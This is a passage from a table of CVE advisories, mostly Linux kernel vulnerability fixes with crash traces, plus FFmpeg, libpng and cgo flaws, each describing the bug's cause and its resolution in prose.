fs/jfs/super.c:635 vfs_get_tree+0xb1/0x5a0 fs/super.c:1814 do_new_mount+0x71f/0x15e0 fs/namespace.c:3560 path_mount+0x742/0x1f10 fs/namespace.c:3887 do_mount fs/namespace.c:3900 [inline] __do_sys_mount fs/namespace.c:4111 [inline] __se_sys_mount+0x71f/0x800 fs/namespace.c:4088 __x64_sys_mount+0xe4/0x150 fs/namespace.c:4088 x64_sys_call+0x39bf/0x3c30 arch/x86/include/generated/asm/syscalls_64.h:166 do_syscall_x64 arch/x86/entry/common.c:52 [inline] do_syscall_64+0xcd/0x1e0 arch/x86/entry/common.c:83 entry_SYSCALL_64_after_hwframe+0x77/0x7f ===================================================== The reason is that imap is not properly initialized after memory allocation. It will cause the snprintf() function to write uninitialized data into linebuf within hex_dump_to_buffer(). Fix this by using kzalloc instead of kmalloc to clear its content at the beginning in diMount(). |
| CVE-2025-37822 | In the Linux kernel, the following vulnerability has been resolved: riscv: uprobes: Add missing fence.i after building the XOL buffer The XOL (execute out-of-line) buffer is used to single-step the replaced instruction(s) for uprobes. The RISC-V port was missing a proper fence.i (i$ flushing) after constructing the XOL buffer, which can result in incorrect execution of stale/broken instructions. This was found running the BPF selftests "test_progs: uprobe_autoattach, attach_probe" on the Spacemit K1/X60, where the uprobes tests randomly blew up. |
| CVE-2025-38077 | In the Linux kernel, the following vulnerability has been resolved: platform/x86: dell-wmi-sysman: Avoid buffer overflow in current_password_store() If the 'buf' array received from the user contains an empty string, the 'length' variable will be zero. Accessing the 'buf' array element with index 'length - 1' will result in a buffer overflow. Add a check for an empty string. Found by Linux Verification Center (linuxtesting.org) with SVACE. |
| CVE-2025-38136 | In the Linux kernel, the following vulnerability has been resolved: usb: renesas_usbhs: Reorder clock handling and power management in probe Reorder the initialization sequence in `usbhs_probe()` to enable runtime PM before accessing registers, preventing potential crashes due to uninitialized clocks. Currently, in the probe path, registers are accessed before enabling the clocks, leading to a synchronous external abort on the RZ/V2H SoC. The problematic call flow is as follows: usbhs_probe() usbhs_sys_clock_ctrl() usbhs_bset() usbhs_write() iowrite16() <-- Register access before enabling clocks Since `iowrite16()` is performed without ensuring the required clocks are enabled, this can lead to access errors. To fix this, enable PM runtime early in the probe function and ensure clocks are acquired before register access, preventing crashes like the following on RZ/V2H: [13.272640] Internal error: synchronous external abort: 0000000096000010 [#1] PREEMPT SMP [13.280814] Modules linked in: cec renesas_usbhs(+) drm_kms_helper fuse drm backlight ipv6 [13.289088] CPU: 1 UID: 0 PID: 195 Comm: (udev-worker) Not tainted 6.14.0-rc7+ #98 [13.296640] Hardware name: Renesas RZ/V2H EVK Board based on r9a09g057h44 (DT) [13.303834] pstate: 60400005 (nZCv daif +PAN -UAO -TCO -DIT -SSBS BTYPE=--) [13.310770] pc : usbhs_bset+0x14/0x4c [renesas_usbhs] [13.315831] lr : usbhs_probe+0x2e4/0x5ac [renesas_usbhs] [13.321138] sp : ffff8000827e3850 [13.324438] x29: ffff8000827e3860 x28: 0000000000000000 x27: ffff8000827e3ca0 [13.331554] x26: ffff8000827e3ba0 x25: ffff800081729668 x24: 0000000000000025 [13.338670] x23: ffff0000c0f08000 x22: 0000000000000000 x21: ffff0000c0f08010 [13.345783] x20: 0000000000000000 x19: ffff0000c3b52080 x18: 00000000ffffffff [13.352895] x17: 0000000000000000 x16: 0000000000000000 x15: ffff8000827e36ce [13.360009] x14: 00000000000003d7 x13: 00000000000003d7 x12: 0000000000000000 [13.367122] x11: 0000000000000000 x10: 0000000000000aa0 x9 : ffff8000827e3750 [13.374235] x8 : ffff0000c1850b00 x7 : 0000000003826060 x6 : 000000000000001c [13.381347] x5 : 000000030d5fcc00 x4 : ffff8000825c0000 x3 : 0000000000000000 [13.388459] x2 : 0000000000000400 x1 : 0000000000000000 x0 : ffff0000c3b52080 [13.395574] Call trace: [13.398013] usbhs_bset+0x14/0x4c [renesas_usbhs] (P) [13.403076] platform_probe+0x68/0xdc [13.406738] really_probe+0xbc/0x2c0 [13.410306] __driver_probe_device+0x78/0x120 [13.414653] driver_probe_device+0x3c/0x154 [13.418825] __driver_attach+0x90/0x1a0 [13.422647] bus_for_each_dev+0x7c/0xe0 [13.426470] driver_attach+0x24/0x30 [13.430032] bus_add_driver+0xe4/0x208 [13.433766] driver_register+0x68/0x130 [13.437587] __platform_driver_register+0x24/0x30 [13.442273] renesas_usbhs_driver_init+0x20/0x1000 [renesas_usbhs] [13.448450] do_one_initcall+0x60/0x1d4 [13.452276] do_init_module+0x54/0x1f8 [13.456014] load_module+0x1754/0x1c98 [13.459750] init_module_from_file+0x88/0xcc [13.464004] __arm64_sys_finit_module+0x1c4/0x328 [13.468689] invoke_syscall+0x48/0x104 [13.472426] el0_svc_common.constprop.0+0xc0/0xe0 [13.477113] do_el0_svc+0x1c/0x28 [13.480415] el0_svc+0x30/0xcc [13.483460] el0t_64_sync_handler+0x10c/0x138 [13.487800] el0t_64_sync+0x198/0x19c [13.491453] Code: 2a0103e1 12003c42 12003c63 8b010084 (79400084) [13.497522] ---[ end trace 0000000000000000 ]--- |
| CVE-2025-38149 | In the Linux kernel, the following vulnerability has been resolved: net: phy: clear phydev->devlink when the link is deleted There is a potential crash issue when disabling and re-enabling the network port. When disabling the network port, phy_detach() calls device_link_del() to remove the device link, but it does not clear phydev->devlink, so phydev->devlink is not a NULL pointer. Then the network port is re-enabled, but if phy_attach_direct() fails before calling device_link_add(), the code jumps to the "error" label and calls phy_detach(). Since phydev->devlink retains the old value from the previous attach/detach cycle, device_link_del() uses the old value, which accesses a NULL pointer and causes a crash. The simplified crash log is as follows. [ 24.702421] Call trace: [ 24.704856] device_link_put_kref+0x20/0x120 [ 24.709124] device_link_del+0x30/0x48 [ 24.712864] phy_detach+0x24/0x168 [ 24.716261] phy_attach_direct+0x168/0x3a4 [ 24.720352] phylink_fwnode_phy_connect+0xc8/0x14c [ 24.725140] phylink_of_phy_connect+0x1c/0x34 Therefore, phydev->devlink needs to be cleared when the device link is deleted. |
| CVE-2025-38167 | In the Linux kernel, the following vulnerability has been resolved: fs/ntfs3: handle hdr_first_de() return value The hdr_first_de() function returns a pointer to a struct NTFS_DE. This pointer may be NULL. To handle the NULL error effectively, it is important to implement an error handler. This will help manage potential errors consistently. Additionally, error handling for the return value already exists at other points where this function is called. Found by Linux Verification Center (linuxtesting.org) with SVACE. |
| CVE-2025-38219 | In the Linux kernel, the following vulnerability has been resolved: f2fs: prevent kernel warning due to negative i_nlink from corrupted image WARNING: CPU: 1 PID: 9426 at fs/inode.c:417 drop_nlink+0xac/0xd0 home/cc/linux/fs/inode.c:417 Modules linked in: CPU: 1 UID: 0 PID: 9426 Comm: syz-executor568 Not tainted 6.14.0-12627-g94d471a4f428 #2 PREEMPT(full) Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.13.0-1ubuntu1.1 04/01/2014 RIP: 0010:drop_nlink+0xac/0xd0 home/cc/linux/fs/inode.c:417 Code: 48 8b 5d 28 be 08 00 00 00 48 8d bb 70 07 00 00 e8 f9 67 e6 ff f0 48 ff 83 70 07 00 00 5b 5d e9 9a 12 82 ff e8 95 12 82 ff 90 <0f> 0b 90 c7 45 48 ff ff ff ff 5b 5d e9 83 12 82 ff e8 fe 5f e6 ff RSP: 0018:ffffc900026b7c28 EFLAGS: 00010293 RAX: 0000000000000000 RBX: 0000000000000000 RCX: ffffffff8239710f RDX: ffff888041345a00 RSI: ffffffff8239717b RDI: 0000000000000005 RBP: ffff888054509ad0 R08: 0000000000000005 R09: 0000000000000000 R10: 0000000000000000 R11: ffffffff9ab36f08 R12: ffff88804bb40000 R13: ffff8880545091e0 R14: 0000000000008000 R15: ffff8880545091e0 FS: 000055555d0c5880(0000) GS:ffff8880eb3e3000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 00007f915c55b178 CR3: 0000000050d20000 CR4: 0000000000352ef0 Call Trace: <task> f2fs_i_links_write home/cc/linux/fs/f2fs/f2fs.h:3194 [inline] f2fs_drop_nlink+0xd1/0x3c0 home/cc/linux/fs/f2fs/dir.c:845 f2fs_delete_entry+0x542/0x1450 home/cc/linux/fs/f2fs/dir.c:909 f2fs_unlink+0x45c/0x890 home/cc/linux/fs/f2fs/namei.c:581 vfs_unlink+0x2fb/0x9b0 home/cc/linux/fs/namei.c:4544 do_unlinkat+0x4c5/0x6a0 home/cc/linux/fs/namei.c:4608 __do_sys_unlink home/cc/linux/fs/namei.c:4654 [inline] __se_sys_unlink home/cc/linux/fs/namei.c:4652 [inline] __x64_sys_unlink+0xc5/0x110 home/cc/linux/fs/namei.c:4652 do_syscall_x64 home/cc/linux/arch/x86/entry/syscall_64.c:63 [inline] do_syscall_64+0xc7/0x250 home/cc/linux/arch/x86/entry/syscall_64.c:94 entry_SYSCALL_64_after_hwframe+0x77/0x7f RIP: 0033:0x7fb3d092324b Code: 73 01 c3 48 c7 c1 c0 ff ff ff f7 d8 64 89 01 48 83 c8 ff c3 66 2e 0f 1f 84 00 00 00 00 00 90 f3 0f 1e fa b8 57 00 00 00 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 c0 ff ff ff f7 d8 64 89 01 48 RSP: 002b:00007ffdc232d938 EFLAGS: 00000206 ORIG_RAX: 0000000000000057 RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007fb3d092324b RDX: 00007ffdc232d960 RSI: 00007ffdc232d960 RDI: 00007ffdc232d9f0 RBP: 00007ffdc232d9f0 R08: 0000000000000001 R09: 00007ffdc232d7c0 R10: 00000000fffffffd R11: 0000000000000206 R12: 00007ffdc232eaf0 R13: 000055555d0cebb0 R14: 00007ffdc232d958 R15: 0000000000000001 </task> |
| CVE-2025-38333 | In the Linux kernel, the following vulnerability has been resolved: f2fs: fix to bail out in get_new_segment() ------------[ cut here ]------------ WARNING: CPU: 3 PID: 579 at fs/f2fs/segment.c:2832 new_curseg+0x5e8/0x6dc pc : new_curseg+0x5e8/0x6dc Call trace: new_curseg+0x5e8/0x6dc f2fs_allocate_data_block+0xa54/0xe28 do_write_page+0x6c/0x194 f2fs_do_write_node_page+0x38/0x78 __write_node_page+0x248/0x6d4 f2fs_sync_node_pages+0x524/0x72c f2fs_write_checkpoint+0x4bc/0x9b0 __checkpoint_and_complete_reqs+0x80/0x244 issue_checkpoint_thread+0x8c/0xec kthread+0x114/0x1bc ret_from_fork+0x10/0x20 get_new_segment() detects inconsistent status in between free_segmap and free_secmap, let's record such error into super block, and bail out get_new_segment() instead of continue using the segment. |
| CVE-2025-38386 | In the Linux kernel, the following vulnerability has been resolved: ACPICA: Refuse to evaluate a method if arguments are missing As reported in [1], a platform firmware update that increased the number of method parameters and forgot to update a least one of its callers, caused ACPICA to crash due to use-after-free. Since this a result of a clear AML issue that arguably cannot be fixed up by the interpreter (it cannot produce missing data out of thin air), address it by making ACPICA refuse to evaluate a method if the caller attempts to pass fewer arguments than expected to it. |
| CVE-2025-38391 | In the Linux kernel, the following vulnerability has been resolved: usb: typec: altmodes/displayport: do not index invalid pin_assignments A poorly implemented DisplayPort Alt Mode port partner can indicate that its pin assignment capabilities are greater than the maximum value, DP_PIN_ASSIGN_F. In this case, calls to pin_assignment_show will cause a BRK exception due to an out of bounds array access. Prevent for loop in pin_assignment_show from accessing invalid values in pin_assignments by adding DP_PIN_ASSIGN_MAX value in typec_dp.h and using i < DP_PIN_ASSIGN_MAX as a loop condition. |
| CVE-2025-38494 | In the Linux kernel, the following vulnerability has been resolved: HID: core: do not bypass hid_hw_raw_request hid_hw_raw_request() is actually useful to ensure the provided buffer and length are valid. Directly calling in the low level transport driver function bypassed those checks and allowed invalid paramto be used. |
| CVE-2025-38524 | In the Linux kernel, the following vulnerability has been resolved: rxrpc: Fix recv-recv race of completed call If a call receives an event (such as incoming data), the call gets placed on the socket's queue and a thread in recvmsg can be awakened to go and process it. Once the thread has picked up the call off of the queue, further events will cause it to be requeued, and once the socket lock is dropped (recvmsg uses call->user_mutex to allow the socket to be used in parallel), a second thread can come in and its recvmsg can pop the call off the socket queue again. In such a case, the first thread will be receiving stuff from the call and the second thread will be blocked on call->user_mutex. The first thread can, at this point, process both the event that it picked call for and the event that the second thread picked the call for and may see the call terminate - in which case the call will be "released", decoupling the call from the user call ID assigned to it (RXRPC_USER_CALL_ID in the control message). The first thread will return okay, but then the second thread will wake up holding the user_mutex and, if it sees that the call has been released by the first thread, it will BUG thusly: kernel BUG at net/rxrpc/recvmsg.c:474! Fix this by just dequeuing the call and ignoring it if it is seen to be already released. We can't tell userspace about it anyway as the user call ID has become stale. |
| CVE-2025-38560 | In the Linux kernel, the following vulnerability has been resolved: x86/sev: Evict cache lines during SNP memory validation An SNP cache coherency vulnerability requires a cache line eviction mitigation when validating memory after a page state change to private. The specific mitigation is to touch the first and last byte of each 4K page that is being validated. There is no need to perform the mitigation when performing a page state change to shared and rescinding validation. CPUID bit Fn8000001F_EBX[31] defines the COHERENCY_SFW_NO CPUID bit that, when set, indicates that the software mitigation for this vulnerability is not needed. Implement the mitigation and invoke it when validating memory (making it private) and the COHERENCY_SFW_NO bit is not set, indicating the SNP guest is vulnerable. |
| CVE-2025-38574 | In the Linux kernel, the following vulnerability has been resolved: pptp: ensure minimal skb length in pptp_xmit() Commit aabc6596ffb3 ("net: ppp: Add bound checking for skb data on ppp_sync_txmung") fixed ppp_sync_txmunge() We need a similar fix in pptp_xmit(), otherwise we might read uninit data as reported by syzbot. BUG: KMSAN: uninit-value in pptp_xmit+0xc34/0x2720 drivers/net/ppp/pptp.c:193 pptp_xmit+0xc34/0x2720 drivers/net/ppp/pptp.c:193 ppp_channel_bridge_input drivers/net/ppp/ppp_generic.c:2290 [inline] ppp_input+0x1d6/0xe60 drivers/net/ppp/ppp_generic.c:2314 pppoe_rcv_core+0x1e8/0x760 drivers/net/ppp/pppoe.c:379 sk_backlog_rcv+0x142/0x420 include/net/sock.h:1148 __release_sock+0x1d3/0x330 net/core/sock.c:3213 release_sock+0x6b/0x270 net/core/sock.c:3767 pppoe_sendmsg+0x15d/0xcb0 drivers/net/ppp/pppoe.c:904 sock_sendmsg_nosec net/socket.c:712 [inline] __sock_sendmsg+0x330/0x3d0 net/socket.c:727 ____sys_sendmsg+0x893/0xd80 net/socket.c:2566 ___sys_sendmsg+0x271/0x3b0 net/socket.c:2620 __sys_sendmmsg+0x2d9/0x7c0 net/socket.c:2709 |
| CVE-2025-38583 | In the Linux kernel, the following vulnerability has been resolved: clk: xilinx: vcu: unregister pll_post only if registered correctly If registration of pll_post is failed, it will be set to NULL or ERR, unregistering same will fail with following call trace: Unable to handle kernel NULL pointer dereference at virtual address 008 pc : clk_hw_unregister+0xc/0x20 lr : clk_hw_unregister_fixed_factor+0x18/0x30 sp : ffff800011923850 ... Call trace: clk_hw_unregister+0xc/0x20 clk_hw_unregister_fixed_factor+0x18/0x30 xvcu_unregister_clock_provider+0xcc/0xf4 [xlnx_vcu] xvcu_probe+0x2bc/0x53c [xlnx_vcu] |
| CVE-2025-38614 | In the Linux kernel, the following vulnerability has been resolved: eventpoll: Fix semi-unbounded recursion Ensure that epoll instances can never form a graph deeper than EP_MAX_NESTS+1 links. Currently, ep_loop_check_proc() ensures that the graph is loop-free and does some recursion depth checks, but those recursion depth checks don't limit the depth of the resulting tree for two reasons: - They don't look upwards in the tree. - If there are multiple downwards paths of different lengths, only one of the paths is actually considered for the depth check since commit 28d82dc1c4ed ("epoll: limit paths"). Essentially, the current recursion depth check in ep_loop_check_proc() just serves to prevent it from recursing too deeply while checking for loops. A more thorough check is done in reverse_path_check() after the new graph edge has already been created; this checks, among other things, that no paths going upwards from any non-epoll file with a length of more than 5 edges exist. However, this check does not apply to non-epoll files. As a result, it is possible to recurse to a depth of at least roughly 500, tested on v6.15. (I am unsure if deeper recursion is possible; and this may have changed with commit 8c44dac8add7 ("eventpoll: Fix priority inversion problem").) To fix it: 1. In ep_loop_check_proc(), note the subtree depth of each visited node, and use subtree depths for the total depth calculation even when a subtree has already been visited. 2. Add ep_get_upwards_depth_proc() for similarly determining the maximum depth of an upwards walk. 3. In ep_loop_check(), use these values to limit the total path length between epoll nodes to EP_MAX_NESTS edges. |
| CVE-2025-38688 | In the Linux kernel, the following vulnerability has been resolved: iommufd: Prevent ALIGN() overflow When allocating IOVA the candidate range gets aligned to the target alignment. If the range is close to ULONG_MAX then the ALIGN() can wrap resulting in a corrupted iova. Open code the ALIGN() using get_add_overflow() to prevent this. This simplifies the checks as we don't need to check for length earlier either. Consolidate the two copies of this code under a single helper. This bug would allow userspace to create a mapping that overlaps with some other mapping or a reserved range. |
| CVE-2025-39706 | In the Linux kernel, the following vulnerability has been resolved: drm/amdkfd: Destroy KFD debugfs after destroy KFD wq Since KFD proc content was moved to kernel debugfs, we can't destroy KFD debugfs before kfd_process_destroy_wq. Move kfd_process_destroy_wq prior to kfd_debugfs_fini to fix a kernel NULL pointer problem. It happens when /sys/kernel/debug/kfd was already destroyed in kfd_debugfs_fini but kfd_process_destroy_wq calls kfd_debugfs_remove_process. This line debugfs_remove_recursive(entry->proc_dentry); tries to remove /sys/kernel/debug/kfd/proc/<pid> while /sys/kernel/debug/kfd is already gone. It hangs the kernel by kernel NULL pointer. (cherry picked from commit 0333052d90683d88531558dcfdbf2525cc37c233) |
| CVE-2025-39823 | In the Linux kernel, the following vulnerability has been resolved: KVM: x86: use array_index_nospec with indices that come from guest min and dest_id are guest-controlled indices. Using array_index_nospec() after the bounds checks clamps these values to mitigate speculative execution side-channels. |
| CVE-2025-39907 | In the Linux kernel, the following vulnerability has been resolved: mtd: rawnand: stm32_fmc2: avoid overlapping mappings on ECC buffer Avoid below overlapping mappings by using a contiguous non-cacheable buffer. [ 4.077708] DMA-API: stm32_fmc2_nfc 48810000.nand-controller: cacheline tracking EEXIST, overlapping mappings aren't supported [ 4.089103] WARNING: CPU: 1 PID: 44 at kernel/dma/debug.c:568 add_dma_entry+0x23c/0x300 [ 4.097071] Modules linked in: [ 4.100101] CPU: 1 PID: 44 Comm: kworker/u4:2 Not tainted 6.1.82 #1 [ 4.106346] Hardware name: STMicroelectronics STM32MP257F VALID1 SNOR / MB1704 (LPDDR4 Power discrete) + MB1703 + MB1708 (SNOR MB1730) (DT) [ 4.118824] Workqueue: events_unbound deferred_probe_work_func [ 4.124674] pstate: 60000005 (nZCv daif -PAN -UAO -TCO -DIT -SSBS BTYPE=--) [ 4.131624] pc : add_dma_entry+0x23c/0x300 [ 4.135658] lr : add_dma_entry+0x23c/0x300 [ 4.139792] sp : ffff800009dbb490 [ 4.143016] x29: ffff800009dbb4a0 x28: 0000000004008022 x27: ffff8000098a6000 [ 4.150174] x26: 0000000000000000 x25: ffff8000099e7000 x24: ffff8000099e7de8 [ 4.157231] x23: 00000000ffffffff x22: 0000000000000000 x21: ffff8000098a6a20 [ 4.164388] x20: ffff000080964180 x19: ffff800009819ba0 x18: 0000000000000006 [ 4.171545] x17: 6361727420656e69 x16: 6c6568636163203a x15: 72656c6c6f72746e [ 4.178602] x14: 6f632d646e616e2e x13: ffff800009832f58 x12: 00000000000004ec [ 4.185759] x11: 00000000000001a4 x10: ffff80000988af58 x9 : ffff800009832f58 [ 4.192916] x8 : 00000000ffffefff x7 : ffff80000988af58 x6 : 80000000fffff000 [ 4.199972] x5 : 000000000000bff4 x4 : 0000000000000000 x3 : 0000000000000000 [ 4.207128] x2 : 0000000000000000 x1 : 0000000000000000 x0 : ffff0000812d2c40 [ 4.214185] Call trace: [ 4.216605] add_dma_entry+0x23c/0x300 [ 4.220338] debug_dma_map_sg+0x198/0x350 [ 4.224373] __dma_map_sg_attrs+0xa0/0x110 [ 4.228411] dma_map_sg_attrs+0x10/0x2c [ 4.232247] stm32_fmc2_nfc_xfer.isra.0+0x1c8/0x3fc [ 4.237088] stm32_fmc2_nfc_seq_read_page+0xc8/0x174 [ 4.242127] nand_read_oob+0x1d4/0x8e0 [ 4.245861] mtd_read_oob_std+0x58/0x84 [ 4.249596] mtd_read_oob+0x90/0x150 [ 4.253231] mtd_read+0x68/0xac |
| CVE-2025-40211 | In the Linux kernel, the following vulnerability has been resolved: ACPI: video: Fix use-after-free in acpi_video_switch_brightness() The switch_brightness_work delayed work accesses device->brightness and device->backlight, freed by acpi_video_dev_unregister_backlight() during device removal. If the work executes after acpi_video_bus_unregister_backlight() frees these resources, it causes a use-after-free when acpi_video_switch_brightness() dereferences device->brightness or device->backlight. Fix this by calling cancel_delayed_work_sync() for each device's switch_brightness_work in acpi_video_bus_remove_notify_handler() after removing the notify handler that queues the work. This ensures the work completes before the memory is freed. [ rjw: Changelog edit ] |
| CVE-2025-40226 | In the Linux kernel, the following vulnerability has been resolved: firmware: arm_scmi: Account for failed debug initialization When the SCMI debug subsystem fails to initialize, the related debug root will be missing, and the underlying descriptor will be NULL. Handle this fault condition in the SCMI debug helpers that maintain metrics counters. |
| CVE-2025-40294 | In the Linux kernel, the following vulnerability has been resolved: Bluetooth: MGMT: Fix OOB access in parse_adv_monitor_pattern() In the parse_adv_monitor_pattern() function, the value of the 'length' variable is currently limited to HCI_MAX_EXT_AD_LENGTH(251). The size of the 'value' array in the mgmt_adv_pattern structure is 31. If the value of 'pattern[i].length' is set in the user space and exceeds 31, the 'patterns[i].value' array can be accessed out of bound when copied. Increasing the size of the 'value' array in the 'mgmt_adv_pattern' structure will break the userspace. Considering this, and to avoid OOB access revert the limits for 'offset' and 'length' back to the value of HCI_MAX_AD_LENGTH. Found by InfoTeCS on behalf of Linux Verification Center (linuxtesting.org) with SVACE. |
| CVE-2025-59728 | When calculating the content path in handling of MPEG-DASH manifests, there's an out-of-bounds NUL-byte write one byte past the end of the buffer.When we call xmlNodeGetContent below [0], it returns a buffer precisely allocated to match the string length, using strdup internally. If this buffer is not an empty string, it is assigned to root_url at [1].If the last (non-NUL) byte in this buffer is not '/' then we append '/' in-place at [2]. This will write two bytes into the buffer, starting at the last valid byte in the buffer, writing the NUL byte beyond the end of the allocated buffer. We recommend upgrading to version 8.0 or beyond. |
| CVE-2025-59731 | When decoding an OpenEXR file that uses DWAA or DWAB compression, the specified raw length of run-length-encoded data is not checked when using it to calculate the output data. We read rle_raw_size from the input file at [0], we decompress and decode into the buffer td->rle_raw_data of size rle_raw_size at [1], and then at [2] we will access entries in this buffer up to (td->xsize - 1) * (td->ysize - 1) + rle_raw_size / 2, which may exceed rle_raw_size. We recommend upgrading to version 8.0 or beyond. |
| CVE-2025-59732 | When decoding an OpenEXR file that uses DWAA or DWAB compression, there's an implicit assumption that the height and width are divisible by 8. If the height or width of the image is not divisible by 8, the copy loops at [0] and [1] will continue to write until the next multiple of 8. The buffer td->uncompressed_data is allocated in decode_block based on the precise height and width of the image, so the "rounded-up" multiple of 8 in the copy loop can exceed the buffer bounds, and the write block starting at [2] can corrupt following heap memory. We recommend upgrading to version 8.0 or beyond. |
| CVE-2025-59733 | When decoding an OpenEXR file that uses DWAA or DWAB compression, there's an implicit assumption that all image channels have the same pixel type (and size), and that if there are four channels, the first four are "B", "G", "R" and "A". The channel parsing code can be found in decode_header. The buffer td->uncompressed_data is allocated in decode_block based on the xsize, ysize and computed current_channel_offset. The function dwa_uncompress then assumes at [5] that if there are 4 channels, these are "B", "G", "R" and "A", and in the calculations at [6] and [7] that all channels are of the same type, which matches the type of the main color channels. If we set the main color channels to a 4-byte type and add duplicate or unknown channels of the 2-byte EXR_HALF type, then the addition at [7] will increment the pointer by 4-bytes * xsize * nb_channels, which will exceed the allocated buffer. We recommend upgrading to version 8.0 or beyond. |
| CVE-2025-61732 | A discrepancy between how Go and C/C++ comments were parsed allowed for code smuggling into the resulting cgo binary. |
| CVE-2025-63757 | Integer overflow vulnerability in the yuv2ya16_X_c_template function in libswscale/output.c in FFmpeg 8.0. |
| CVE-2025-64505 | LIBPNG is a reference library for use in applications that read, create, and manipulate PNG (Portable Network Graphics) raster image files. Prior to version 1.6.51, a heap buffer over-read vulnerability exists in libpng's png_do_quantize function when processing PNG files with malformed palette indices. The vulnerability occurs when palette_lookup array bounds are not validated against externally-supplied image data, allowing an attacker to craft a PNG file with out-of-range palette indices that trigger out-of-bounds memory access. This issue has been patched in version 1.6.51. |
| CVE-2025-64506 | LIBPNG is a reference library for use in applications that read, create, and manipulate PNG (Portable Network Graphics) raster image files. From version 1.6.0 to before 1.6.51, a heap buffer over-read vulnerability exists in libpng's png_write_image_8bit function when processing 8-bit images through the simplified write API with convert_to_8bit enabled. The vulnerability affects 8-bit grayscale+alpha, RGB/RGBA, and images with incomplete row data. A conditional guard incorrectly allows 8-bit input to enter code expecting 16-bit input, causing reads up to 2 bytes beyond allocated buffer boundaries. This issue has been patched in version 1.6.51. |
| CVE-2025-64720 | LIBPNG is a reference library for use in applications that read, create, and manipulate PNG (Portable Network Graphics) raster image files. From version 1.6.0 to before 1.6.51, an out-of-bounds read vulnerability exists in png_image_read_composite when processing palette images with PNG_FLAG_OPTIMIZE_ALPHA enabled. The palette compositing code in png_init_read_transformations incorrectly applies background compositing during premultiplication, violating the invariant component ≤ alpha × 257 required by the simplified PNG API. This issue has been patched in version 1.6.51. |
| CVE-2025-65018 | LIBPNG is a reference library for use in applications that read, create, and manipulate PNG (Portable Network Graphics) raster image files. From version 1.6.0 to before 1.6.51, there is a heap buffer overflow vulnerability in the libpng simplified API function png_image_finish_read when processing 16-bit interlaced PNGs with 8-bit output format. Attacker-crafted interlaced PNG files cause heap writes beyond allocated buffer bounds. This issue has been patched in version 1.6.51. |
| CVE-2025-68184 | In the Linux kernel, the following vulnerability has been resolved: drm/mediatek: Disable AFBC support on Mediatek DRM driver Commit c410fa9b07c3 ("drm/mediatek: Add AFBC support to Mediatek DRM driver") added AFBC support to Mediatek DRM and enabled the 32x8/split/sparse modifier. However, this is currently broken on Mediatek MT8188 (Genio 700 EVK platform); tested using upstream Kernel and Mesa (v25.2.1), AFBC is used by default since Mesa v25.0. Kernel trace reports vblank timeouts constantly, and the render is garbled: ``` [CRTC:62:crtc-0] vblank wait timed out WARNING: CPU: 7 PID: 70 at drivers/gpu/drm/drm_atomic_helper.c:1835 drm_atomic_helper_wait_for_vblanks.part.0+0x24c/0x27c [...] Hardware name: MediaTek Genio-700 EVK (DT) Workqueue: events_unbound commit_work pstate: 60400009 (nZCv daif +PAN -UAO -TCO -DIT -SSBS BTYPE=--) pc : drm_atomic_helper_wait_for_vblanks.part.0+0x24c/0x27c lr : drm_atomic_helper_wait_for_vblanks.part.0+0x24c/0x27c sp : ffff80008337bca0 x29: ffff80008337bcd0 x28: 0000000000000061 x27: 0000000000000000 x26: 0000000000000001 x25: 0000000000000000 x24: ffff0000c9dcc000 x23: 0000000000000001 x22: 0000000000000000 x21: ffff0000c66f2f80 x20: ffff0000c0d7d880 x19: 0000000000000000 x18: 000000000000000a x17: 000000040044ffff x16: 005000f2b5503510 x15: 0000000000000000 x14: 0000000000000000 x13: 74756f2064656d69 x12: 742074696177206b x11: 0000000000000058 x10: 0000000000000018 x9 : ffff800082396a70 x8 : 0000000000057fa8 x7 : 0000000000000cce x6 : ffff8000823eea70 x5 : ffff0001fef5f408 x4 : ffff80017ccee000 x3 : ffff0000c12cb480 x2 : 0000000000000000 x1 : 0000000000000000 x0 : ffff0000c12cb480 Call trace: drm_atomic_helper_wait_for_vblanks.part.0+0x24c/0x27c (P) drm_atomic_helper_commit_tail_rpm+0x64/0x80 commit_tail+0xa4/0x1a4 commit_work+0x14/0x20 process_one_work+0x150/0x290 worker_thread+0x2d0/0x3ec kthread+0x12c/0x210 ret_from_fork+0x10/0x20 ---[ end trace 0000000000000000 ]--- ``` Until this gets fixed upstream, disable AFBC support on this platform, as it's currently broken with upstream Mesa. |
| CVE-2025-68231 | In the Linux kernel, the following vulnerability has been resolved: mm/mempool: fix poisoning order>0 pages with HIGHMEM The kernel test has reported: BUG: unable to handle page fault for address: fffba000 #PF: supervisor write access in kernel mode #PF: error_code(0x0002) - not-present page *pde = 03171067 *pte = 00000000 Oops: Oops: 0002 [#1] CPU: 0 UID: 0 PID: 1 Comm: swapper/0 Tainted: G T 6.18.0-rc2-00031-gec7f31b2a2d3 #1 NONE a1d066dfe789f54bc7645c7989957d2bdee593ca Tainted: [T]=RANDSTRUCT Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 EIP: memset (arch/x86/include/asm/string_32.h:168 arch/x86/lib/memcpy_32.c:17) Code: a5 8b 4d f4 83 e1 03 74 02 f3 a4 83 c4 04 5e 5f 5d 2e e9 73 41 01 00 90 90 90 3e 8d 74 26 00 55 89 e5 57 56 89 c6 89 d0 89 f7 <f3> aa 89 f0 5e 5f 5d 2e e9 53 41 01 00 cc cc cc 55 89 e5 53 57 56 EAX: 0000006b EBX: 00000015 ECX: 001fefff EDX: 0000006b ESI: fffb9000 EDI: fffba000 EBP: c611fbf0 ESP: c611fbe8 DS: 007b ES: 007b FS: 0000 GS: 0000 SS: 0068 EFLAGS: 00010287 CR0: 80050033 CR2: fffba000 CR3: 0316e000 CR4: 00040690 Call Trace: poison_element (mm/mempool.c:83 mm/mempool.c:102) mempool_init_node (mm/mempool.c:142 mm/mempool.c:226) mempool_init_noprof (mm/mempool.c:250 (discriminator 1)) ? mempool_alloc_pages (mm/mempool.c:640) bio_integrity_initfn (block/bio-integrity.c:483 (discriminator 8)) ? mempool_alloc_pages (mm/mempool.c:640) do_one_initcall (init/main.c:1283) Christoph found out this is due to the poisoning code not dealing properly with CONFIG_HIGHMEM because only the first page is mapped but then the whole potentially high-order page is accessed. We could give up on HIGHMEM here, but it's straightforward to fix this with a loop that's mapping, poisoning or checking and unmapping individual pages. |
